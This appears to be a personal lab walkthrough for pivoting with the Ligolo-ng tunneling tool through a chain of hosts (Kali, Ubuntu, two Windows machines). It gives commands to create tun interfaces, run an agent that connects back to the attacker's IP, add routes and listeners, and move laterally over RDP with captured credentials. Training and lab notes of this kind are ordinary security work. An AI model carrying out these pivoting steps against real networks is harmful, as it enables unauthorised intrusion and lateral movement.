Ligolo-ng
Line of boxes
Kali (attacker) -- Ubuntu -- Win1 -- Win2
First create the interface for , it will be the port for the the tunnel for first Pivoit , then start your Ligolo-proxy and transfer your agent to the Ubuntu
sudo ip tuntap add user $(whoami) mode tun ligolo && \
sudo ip link set ligolo up
# start your Ligolo-proxy
ligolo-proxy -selfcertIf your agent transfer is complete , then connnect it to your ligolo-proxy , then select your session , see the IP and add the subnet route to your ligolo interface in your kali , then start the tunnel via START
# connect the agent
./agent --connect 10.10.14.62:11601 -ignore-cert
# select the session in Ligolo
session
# add the route to the first interface
sudo ip route add 172.16.5.0/24 dev ligolo
# start the tunnel via start in ligolo
startNow check if u can ping the Ubuntu internal IP of (172.16.5.15) , if yes then find the Up hosts on that subnet
Now there is 172.16.5.35 is Up with RDP and we have it's creds , we will get the RDP and transfer our agent to that , but we can't cause the WIN1 dosen't know Kali but Ubuntu , So we add a listner to Ligolo for that all the traffic to Ubuntu -p 1111 will be transfered to Kali 1111 , and we can acsess the Kali by WIN1 by using the internal Ip of Ubuntu and -p 1111
Now we create new interface in Kali and route the WIN1 internal IP subnet and then transfer the agent and connect it to ligolo
Then in ligolo
Then there is another 172.16.6.25 with RDP port open and in that we see there's a another internal IP of 172.16.10.25 , we add a listener in ligolo for WIN1 traffic to Kali and and another listener on -p 1111 to transfer the agent
Then we create a new interface and route the WIN2 internal subnet
Then we connect the agent with WIN1 internal IP
Then in ligolo we select the session and start the tunnel
Last updated